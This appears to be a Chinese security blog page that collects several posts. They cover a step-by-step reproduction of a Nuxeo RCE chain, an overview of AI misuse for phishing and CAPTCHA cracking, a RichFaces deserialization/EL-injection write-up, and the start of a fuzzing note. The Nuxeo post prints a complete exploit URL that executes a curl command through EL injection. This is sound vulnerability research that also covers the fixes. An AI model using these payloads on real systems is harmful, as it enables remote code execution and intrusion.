知识星球

安全情报

  • 信息安全情报
  • 深网暗网情报
  • 前沿安全技术
  • 业务安全风控
  • 漏洞威胁感知
  • 数据泄露事件

微信扫描二维码加入知识星球:

TIM图片20180303232925.png

Nuxeo RCE漏洞分析

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。

AI与安全的恩怨情仇五部曲「1」Misuse AI

v2-becc90b60120f36fd6a9e8305bc050f1_1200x500.jpg

写在前面

随着AI军备战进入白热化状态,越来越多的行业开始被AI带来的浪潮所影响,甚至颠覆。
安全作为和众多行业交叉的一个领域,同样无法避免这样的浪潮。

但和其他领域不同的是,安全和AI之间其实是一个相互作用和碰撞的过程——

  • 黑客可以利用AI发起攻击。如攻破验证码机制、自动化钓鱼攻击、实现漏洞的自动挖掘等。
  • 黑客可以对AI发起攻击。如用数据中毒或逃逸攻击干扰模型结果,或是用模型萃取的方法窃取模型或训练集等。
  • 安全研究员可以利用AI进行防守。如对钓鱼邮件从行为和文本上进行检测、利用图的时候挖掘恶意团伙、对C&C服务器进行检测等。
  • 安全研究员需要对AI进行保护。如面对恶意机器流量,如何搭建机器流量防控体系,以及旨在保护模型机密性和数据安全的隐私保护技术等。

基于此,本文考虑对AI与安全的恩怨情仇进行一些简单的提纲挈领式的梳理和思考,抛砖引玉。

具体而言,我将AI与安全的关系划分为了五个部分,前四个部分分别从【黑客利用AI进行攻击】、【黑客攻击AI模型】、【安全人员利用AI进行防守】、【安全人员对AI进行保护】角度进行分篇介绍,最后在【Do we need all in AI ?】部分,给出自己对当前安全现状的一点思考。

整个系列文章的大纲如下图所示,因为字数较多,因此我会将五部曲分为五篇文章,依次进行介绍,欢迎大家共同交流。

AI与安全的恩怨情仇五部曲_gaitubao_com_watermark.jpg

Misuse AI

Misuse AI字如其意,即指黑客对AI技术的“误用”。

黑客的攻击行为大多追求规模效应,因此会试图攻击尽可能多的目标用户,同时降低自身的风险。这与AI的思想不谋而合,因此AI便成为了他们实现目标的完美工具。

这里我们主要对以下5种情形进行简单介绍——

  • 验证码自动识别
  • 自动化鱼叉式钓鱼攻击
  • 自动化恶意软件样本生成
  • 自动化漏洞挖掘
  • 通过舆情分析和精准广告投放来影响政治事件

验证码自动识别

验证码识别可能是大家第一反应会想到的一个应用场景,毕竟这个技术几乎自验证码诞生的第一天起就同时诞生了,并一直和验证码缠斗至今。

目前市面上的常见验证码与其对应的攻击手段如下——

输入识别出的字符类验证码

9103047-6640943ef24c3420.jpg

这类实际上主要涉及到的就是图像识别。
一般分为分割字符不分割字符两种处理手段。

分割字符手段的步骤:

  1. 图片预处理,包括二值化,降噪等
  2. 图片分割
  3. 提取特征
  4. 训练分类模型,识别字符

这种方法的难点:

  • 背景噪声难以去除,例如字体上有横线等
  • 图片粘在一起,难以切割
  • 文字有旋转,扭曲等变形

在样本数量不是很大的情况下,这三种情况都会对准确率造成影响,当然如果样本足够多,这些也不是问题

不分割字符的方法:

  • 字符固定:考虑CNN
  • 字符不固定:考虑RNN/LSTM/GRU + CTC。只要数据量足够,准确率就能达到很高的水准。

点选类验证码

092841.png

这类可以利用目标检测的方法,先从图像中检测出文字,再对文字分类。
具体实现可以参照这篇:https://zhuanlan.zhihu.com/p/34186397

拖动滑块到指定位置的验证码

geetest123.jpg

这类验证码一般不需要打码做训练,只需要找到缺口的位置,并模拟运动轨迹就可以了。
具体针对各个平台的破解骚操作的话,可以参考这个知乎回答:滑块验证码(滑动验证码)相比图形验证码,破解难度如何?——知乎

自动化鱼叉式钓鱼攻击

随着0day成本的升高,黑客们越来越爱用钓鱼来对用户进行攻击。
而对于一些“重点目标”,更是会采用一种名为鱼叉式钓鱼(spear phishing)的办法来定制化处理。攻击者会花时间了解攻击目标,包括姓名、邮箱地址、社交媒体账号或者任何在网上参与过的内容等。攻击目标不是一般个人,而是特定的公司或者组织的成员,窃取的资料也并非个人的资料,而是其他高度敏感性资料。
在Black Hat USA 2016年的议题 “Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter”里,研究员尝试用SNAP_R(SocialNetwork Automated Phishing with Reconnaissance)递归神经网络模型来向特定用户(即攻击目标)发送钓鱼推文。该模型采用鱼叉式网络钓鱼渗透测试数据进行训练,为提升点击成功率,还动态嵌入了从目标用户和转发或关注用户处抽取的话题,并在发送推文时@攻击目标。

k5yzj9vl49-min.png

该自动化鱼叉式钓鱼攻击主要包括两部分:

  1. 寻找钓鱼攻击目标对象

首先,利用TwitterStreaming API收集用户名,根据用户个人信息描述和推文情况衡量钓鱼成功概率,用户个人信息包括用户名、转发/响应的推文的频率/时间、对某主题的态度、位置信息、行为模式、已参加或者将要参加的大型活动等,也包括工作、职位头衔、知名度等反映用户价值大小的信息。然后,按照钓鱼成功的概率大小将用户进行分类。

攻击者从Firehose(Twitter用户发送消息的输出口)中挑选用户,并判断该用户属于刚才所说分类方法中的具体类别。如果用户的钓鱼成功的概率比较高,就选取该用户作为攻击目标,向其发送嵌有钓鱼链接的虚假推文。

  1. 自动化鱼叉钓鱼

选取攻击目标后,攻击者利用SNAP_R递归神经网络模型抽取目标感兴趣话题以及该目标发送推文或者回复推文的情况以便于产生钓鱼推文内容。除介词等停止词之外,最频繁出现的推文内容都可以用于构造推文内容,推文内容会选择用户经常发送或转推推文的时间进行发送。

在SNAP_R模型中,采用了马尔可夫模型和长短期记忆LSTM(LongShort-Term Memory)递归神经网络构造推文内容。马尔可夫模型根据文本同时出现的概率来推测文本的内容,比如说——

如果训练集包含短语the cat in the hat的次数比较多,当模型出现the时,则下一个内容很可能是cat 或者hat。但是由马尔科夫模型产生的内容通常是没有意义的,只是出现频率比较高的词语的组合体而已。而LSTM适合于处理和预测时间序列中间隔和延迟非常长的重要事件,与马尔可夫模型的区别在于,LSTM能结合语境判断下一个可能出现的词语。两者结合构造更接近于人类撰写的推文内容。

通过对90名用户进行测试发现:该自动化鱼叉式网络钓鱼框架的成功率为30%~60%;大规模手动鱼叉式网络钓鱼传统上的成功率为45%,而广撒网式钓鱼只有5%到14%的成功率。测试结果说明该自动化鱼叉式钓鱼方法极其有效

资料链接:

自动化恶意软件样本生成

论文Generating Adversarial Malware Examples for Black-Box Attacks Based on GAN 利用GAN生成对抗恶意软件样本。最终的实验证明,MalGAN能够将实际中的恶意软件检测率降低到接近零,同时,让defence策略难以起作用。

image-20180924010825193-min.png

其实这一点主要涉及的是对抗样本生成的知识,由于其和第二篇「2」Attack AI 里涉及到的知识点有部分重叠,所以在这里我们先跳过,把这部分内容放到「2」里来讲~

自动化漏洞挖掘

2016年的Defcon CTF上,一支名为Mayhem的机器CTF战队与另外十四支人类顶尖CTF战队上演了信息安全领域首次人机黑客对战,并一度超过两只人类战队。而Mayhem的来历,要从美国国防部先进项目研究局(DARPA,Defense Advanced Research Projects Agency)举办的网络超级挑战赛(CGC,Cyber Grand Challenge)说起。

CGC是DARPA于2013年发起的全球性网络安全挑战赛,旨在推进自动化网络防御技术发展,即实时识别系统缺陷、漏洞,并自动完成打补丁和系统防御,最终实现全自动的网络安全攻防系统。参赛队伍全部由计算机组成,无任何人为干预。所以,CGC是机器之间的CTF比赛,目标是推进全自动的网络安全攻防系统。

在比赛之前,每支参赛团队需要开发一套全自动的网络推理系统CRS(Cyber Reasoning System),需要可对Linux二进制程序进行全自动化的分析和发现其中的漏洞,并自动生成能够触发漏洞的验证代码,自动对程序漏洞进行修补。

最终,来自卡内基梅隆大学的ForAllSecure团队研制的Mayhem 系统获得了冠军,并参加了2016年的Defcon CTF。

Defcon CTF上的分数(Mayhem有些可惜,比赛前两天似乎是收到的流量有问题。后来才发现DEF CON CTF Finals用的平台和CGC CFE不同,第三天收到流量,据说9个CB找出了7个exploit、修补了6个。如果来场公平的较量也许能碾压人类。)

Screen Shot 2018-09-25 at 6.58.40 PM-min.png

通过舆情分析和精准营销来影响政治事件

前面提到的几个点,主要还是从传统的安全场景上来进行描述的。但如果黑客想,同样可以利用机器学习技术来影响到更深远的安全领域,比如说国家安全。

在特朗普当选美国总统之后,Cambridge Analytica这家公司便被推到了风口浪尖。这家公司的负责人主动公开宣称Cambridge Analytica非法获取超过500万Facebook个人账户信息,然后使用这些数据构建算法,分析Facebook用户个性资料,并将这些信息与他们的投票行为关联起来,从而使得竞选团队能够准确识别在两位候选人之间摇摆不定的选民,并有针对性地制作和投放广告。

1509590215740001318-min.png

如上面这个叫做LGBT United的账号中为威斯特布路浸信会反抗运动打广告。元数据显示,这支广告花了账号持有者3000多卢布,并且它针对的是堪萨斯州的LGBT群体以及那些对希拉里·克林顿或伯尼·桑德斯(民主党竞选人)感兴趣的人。

一家大数据公司尚且如此,那么卷入了干涉美国大选和英国脱欧罪名的俄罗斯呢?

References

[1] Doug Drinkwater. 6 ways hackers will use machine learning to launch attacks.
[2] Seymour J, Tully P. Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter[J]. Black Hat USA, 2016, 37.
[3] Hu W, Tan Y. Generating adversarial malware examples for black-box attacks based on GAN[J]. arXiv preprint arXiv:1702.05983, 2017.
[4] Nick Penzenstadler, Brad Heath, Jessica Guynn. We read every one of the 3,517 Facebook ads bought by Russians. Here's what we found. USA TODAY.
[5] 科技与少女. 验证码识别综述.

RirchFaces反序列化漏洞

JSF介绍

JavaServer Faces(JSF)是一个为网络应用程序构建基于组件的用户界面的Java规范[1],并已通过JCP格式化为Java EE的一部分。

它也是一个MVC Web应用框架,通过在页面中使用可重用的UI组件简化了基于服务器的应用程序的用户界面(UI)。

JSF implementations: Mojarra/Myfaces(javax.faces-api/ jsf-impl+jsf-api / myfaces-impl+myfaces-api)

EL interfaces (javax.el-api /tomcat-jasper-el)

EL implementations: Jasper/Jboss (tomcat-jasper-el/ jasper-el / jboss-el)

Richfaces的安全历史安全问题都出现在资源处理程序处理请求方式上,执行流程如下:

获取处理过程相关的类,比如从URI中获取X,并且从参数do获取X的序列化状态对象

  1. 反序列化状态对象
  2. 创建X的一个实例并恢复其状态
  3. 处理X并产生匹配的响应(图像、视频、表格等)

RichFaces 3

3.1.0 ≤ 3.3.3: CVE-2013-2165

3.1.0 ≤ 3.3.4: RF-14310

RichFaces 4

4.0.0 ≤ 4.3.2: CVE-2013-2165

4.0.0 ≤ 4.5.4: CVE-2015-0279

4.5.3 ≤ 4.5.17: RF-14309

CVE-2013-2165: Arbitrary Java Deserializationin RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2

漏洞分析以及Exp

https://tint0.com/matesctf-2018-wutfaces-cve-2013-2165/

CVE-2015-0279: Arbitrary EL Evaluation inRichFaces 4.x ≤ 4.5.3 (RF-13977)

漏洞触发

/richfaces-showcase/rfRes/org.richfaces.resource.MediaOutputResource.jsf?do=

Exp见https://issues.jboss.org/browse/RF-13977

RF-14310: Arbitrary EL Evaluation inRichFaces 3.x ≤ 3.3.4

漏洞触发

org.richfaces.renderkit.html.Paint2DResource/DATA/

跟漏洞CVE-2015-0279/RF-13799类似,问题出现在org.richfaces.renderkit.html.Paint2DResource

这个类,当一个资源请求被调用,会调用他的send(ResourceContext)方法

传递的参数是org.richfaces.renderkit.html.Paint2DResource$ImageData对象,如图:

640_meitu_1.jpg

TagMethodExpression类的orig属性中包含el表达式,我们在构造poc的时候需要将恶意的的el表到时set进去。

漏洞利用的思路就是需要构造一个恶意ImageData对象里面包含我们自动定义的el表达式,el表达式可以是远程加载一个jar,也可以也写文件、反弹shell等

附一张利用成功的截图

640 (1).jpg

RF-14309: Arbitrary EL Evaluation inRichFaces 4.5.3 ≤ 4.5.17 NO CVE By pass CVE-2015-0279

CVE-2015-0279的补丁禁增加了contentProducer来处理特殊符号([^\\(]*)以缓解表达式注入问题。

640 (2).jpg

但是EL表达式支持定义函数映射和变量映射, 可以通过ELResolver解决函数(${prefix:name()})和变量(${var.property})映射到方法和表达式value的实例,richface 4.5.3版本中各种VariableMapper已经然如白名单中。所以利用这个特性,只需要在contentProducer方法表达式中使用变量,如$ {dummy.toString},并在方法表达式中添对应的VariableMapper,最终会映射到具体的ValueExpression

具体利用在RF13977基础上修改下:

640 (3).jpg

CVE-2018-12532

漏洞是在RF-14309基础上变形的payload稳定性更好。

Gadget的结构

Ljava.lang.Object[5]
 [0] = (java.lang.Boolean) false
 [3] = (javax.faces.component.StateHolderSaver)
   savedState = (org.apache.el.MethodExpressionImpl)
     expr = (java.lang.String) "foo.toString"
     varMapper =(org.apache.el.lang.VariableMapperImpl)
       vars = (Ljava.util.HashMap)
        {(java.lang.String)"foo":(java.lang.String)[EL_TO_INJECT]}

利用如下payload未能执行命令

EL表达式执行的三个限制:

  1. 限制1 EL总是会调用Class.getMethods()数组中名字相匹配的第一个方法,其他重载方法不会调用。
  2. 限制2 Jasper’s EL 的实现(tomcat-jasper-el) 7.0.53 to
    8.0.25的一个bug导致不能通过反射调用无参方法。
  3. 限制3只有Jasper的EL实现支持将参数列表隐式转换为args。其他的实现(例如jboss-el)args需要一个数组作为参数,所以需要构造一个数组。

最终的payload:

640 (4)_meitu_2.jpg

总结

需要对漏洞组件和java的些特性非常熟悉才能找到更多的绕过方式。

碎碎念之Afl-fuzz Docker实践

开篇

好久没有更新东西了,写一篇水文压压惊吧。这篇文章主要记录一点之前鼓捣Afl-fuzz的笔记,涉及的知识不深,看官们别见笑。作为程序猿周围的安全工程师,我们负责着产品线的测试。这有靠经验来做的黑盒测试,也有靠自己反编译安装包,鼓捣设备得到部会源码的进行灰盒测试,也开始引进Fuzz模糊测试-这就靠下面要说的Afl-fuzz来实现。因为众所周知的问题(搞安全的人在公司地位低),我们没有产品的代码级权限,我们用Afl-fuzz也就当黑盒一样的在玩,下面会解释到。开始吧。。少侠们。。。

初见Afl-fuzz

